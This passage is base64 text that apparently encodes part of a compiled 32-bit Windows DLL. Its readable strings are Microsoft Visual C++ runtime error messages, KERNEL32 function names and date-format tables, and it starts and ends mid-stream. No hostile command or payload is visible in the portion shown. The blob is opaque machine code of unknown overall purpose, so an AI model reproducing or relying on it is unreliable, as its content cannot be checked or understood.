+Vdw4tF7IsIM9KBOQUAAMAPlMKLwsOLZejHRfz+////M8CLTfBkiQ0AAAAAWV9eW4vlXcOL/1WL7DPAi00IOwzFgG4AEHQKQIP4FnLuM8Bdw4sExYRuABBdw4v/VYvsgez8AQAAoQCQABAzxYlF/FNWi3UIV1bouf///4v4M9tZib0E/v//O/sPhGwBAABqA+hZFQAAWYP4AQ+EBwEAAGoD6EgVAABZhcB1DYM9kJsAEAEPhO4AAACB/vwAAAAPhDYBAABovG8AEGgUAwAAv7ihABBX6LIUAACDxAyFwA+FuAAAAGgEAQAAvuqhABBWU2aj8qMAEP8V2GAAELv7AgAAhcB1H2iMbwAQU1boehQAAIPEDIXAdAwzwFBQUFBQ6Dv9//9W6EYUAABAWYP4PHYqVug5FAAAjQRFdKEAEIvIK85qA9H5aIRvABAr2VNQ6E8TAACDxBSFwHW9aHxvABC+FAMAAFZX6MISAACDxAyFwHWl/7UE/v//VlforhIAAIPEDIXAdZFoECABAGgwbwAQV+grEQAAg8QM615TU1NTU+l5////avT/FXBgABCL8DvzdEaD/v90QTPAigxHiIwFCP7//2Y5HEd0CEA99AEAAHLoU42FBP7//1CNhQj+//9QiF376L4AAABZUI2FCP7//1BW/xXUYAAQi038X14zzVvoKc///8nDagPo3hMAAFmD+AF0FWoD6NETAABZhcB1H4M9kJsAEAF1Fmj8AAAA6CX+//9o/wAAAOgb/v//WVnDi/9Vi+yLVQhWV4XSdAeLfQyF/3UT6Bz3//9qFl6JMOhL/P//i8brM4tFEIXAdQSIAuvii/Ir8IoIiAwGQITJdANPdfOF/3URxgIA6Ob2//9qIlmJCIvx68YzwF9eXcPMzMzMzMzMi0wkBPfBAwAAAHQkigGDwQGEwHRO98EDAAAAde8FAAAAAI2kJAAAAACNpCQAAAAAiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcONQf2LTCQEK8HDjUH8i0wkBCvBw4v/VYvsg+wQ/3UIjU3w6Ezx//8PtkUMi030ilUUhFQBHXUeg30QAHQSi03wi4nIAAAAD7cEQSNFEOsCM8CFwHQDM8BAgH38AHQHi034g2Fw/cnDi/9Vi+xqBGoA/3UIagDomv///4PEEF3DzMzMzMzMzMzMzFNWV4tUJBCLRCQUi0wkGFVSUFFRaPBDABBk/zUAAAAAoQCQABAzxIlEJAhkiSUAAAAAi0QkMItYCItMJCwzGYtwDIP+/nQ7i1QkNIP6/nQEO/J2Lo00do1csxCLC4lIDIN7BAB1zGgBAQAAi0MI6DITAAC5AQAAAItDCOhEEwAA67BkjwUAAAAAg8QYX15bw4tMJAT3QQQGAAAAuAEAAAB0M4tEJAiLSAgzyOjYzP//VYtoGP9wDP9wEP9wFOg+////g8QMXYtEJAiLVCQQiQK4AwAAAMNVi0wkCIsp/3Ec/3EY/3Eo6BX///+DxAxdwgQAVVZXU4vqM8Az2zPSM/Yz///RW19eXcOL6ovxi8FqAeiPEgAAM8Az2zPJM9Iz///mVYvsU1ZXagBSaJZEABBR6JwWAABfXltdw1WLbCQIUlH/dCQU6LX+//+DxAxdwggAagxoAIQAEOhC4P//ag7oUun//1mDZfwAi3UIi04Ehcl0L6HkpwAQuuCnABCJReSFwHQROQh1LItIBIlKBFDoQdX//1n/dgToONX//1mDZgQAx0X8/v///+gKAAAA6DHg///Di9DrxWoO6B7o//9Zw8zMzMzMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgg8ABw/fCAQAAAHQYigKDwgE6AXXng8EBCsB03PfCAgAAAHSkZosCg8ICOgF1zgrAdMY6YQF1xQrkdL2DwQLriIv/VYvsg30IAHUV6Gjz///HABYAAADolvj//4PI/13D/3UIagD/NSCgABD/FeBgABBdw4v/VYvsVot1CIX2D4RjAwAA/3YE6DLU////dgjoKtT///92DOgi1P///3YQ6BrU////dhToEtT///92GOgK1P///zboA9T///92IOj70////3Yk6PPT////dijo69P///92LOjj0////3Yw6NvT////djTo09P///92HOjL0////3Y46MPT////djzou9P//4PEQP92QOiw0////3ZE6KjT////dkjooNP///92TOiY0////3ZQ6JDT////dlToiNP///92WOiA0////3Zc6HjT////dmDocNP///92ZOho0////3Zo6GDT////dmzoWNP///92cOhQ0////3Z06EjT////dnjoQNP///92fOg40///g8RA/7aAAAAA6CrT////toQAAADoH9P///+2iAAAAOgU0////7aMAAAA6AnT////tpAAAADo/tL///+2lAAAAOjz0v///7aYAAAA6OjS////tpwAAADo3dL///+2oAAAAOjS0v///7akAAAA6MfS////tqgAAADovNL///+2vAAAAOix0v///7bAAAAA6KbS////tsQAAADom9L///+2yAAAAOiQ0v///7bMAAAA6IXS//+DxED/ttAAAADod9L///+2uAAAAOhs0v///7bYAAAA6GHS////ttwAAADoVtL///+24AAAAOhL0v///7bkAAAA6EDS////tugAAADoNdL///+27AAAAOgq0v///7bUAAAA6B/S////tvAAAADoFNL///+29AAAAOgJ0v///7b4AAAA6P7R////tvwAAADo89H///+2AAEAAOjo0f///7YEAQAA6N3R////tggBAADo0tH//4PEQP+2DAEAAOjE0f///7YQAQAA6LnR////thQBAADortH///+2GAEAAOij0f///7YcAQAA6JjR////tiABAADojdH///+2JAEAAOiC0f///7YoAQAA6HfR////tiwBAADobNH///+2MAEAAOhh0f///7Y0AQAA6FbR////tjgBAADoS9H///+2PAEAAOhA0f///7ZAAQAA6DXR////tkQBAADoKtH///+2SAEAAOgf0f//g8RA/7ZMAQAA6BHR////tlABAADoBtH///+2VAEAAOj70P///7ZYAQAA6PDQ////tlwBAADo5dD///+2YAEAAOja0P//g8QYXl3Di/9Vi+xWi3UIhfZ0WYsGOwXYmgAQdAdQ6LfQ//9Zi0YEOwXcmgAQdAdQ6KXQ//9Zi0YIOwXgmgAQdAdQ6JPQ//9Zi0YwOwUImwAQdAdQ6IHQ//9Zi3Y0OzUMmwAQdAdW6G/Q//9ZXl3Di/9Vi+xWi3UIhfYPhOoAAACLRgw7BeSaABB0B1DoSdD//1mLRhA7BeiaABB0B1DoN9D//1mLRhQ7BeyaABB0B1DoJdD//1mLRhg7BfCaABB0B1DoE9D//1mLRhw7BfSaABB0B1DoAdD//1mLRiA7BfiaABB0B1Do7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G0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAAgAAACBuABAIAAAAyG0AEAkAAABwbQAQCgAAAChtABAQAAAA0GwAEBEAAABwbAAQEgAAAChsABATAAAA0GsAEBgAAABgawAQGQAAABBrABAaAAAAoGoAEBsAAAAwagAQHAAAAOBpABAeAAAAoGkAEB8AAADYaAAQIAAAAHBoABAhAAAAgGYAEHgAAABgZgAQeQAAAERmABB6AAAAKGYAEPwAAAAgZgAQ/wAAAABmABBNAGkAYwByAG8AcwBvAGYAdAAgAFYAaQBzAHUAYQBsACAAQwArACsAIABSAHUAbgB0AGkAbQBlACAATABpAGIAcgBhAHIAeQAAAAAACgAKAAAAAAAuAC4ALgAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAg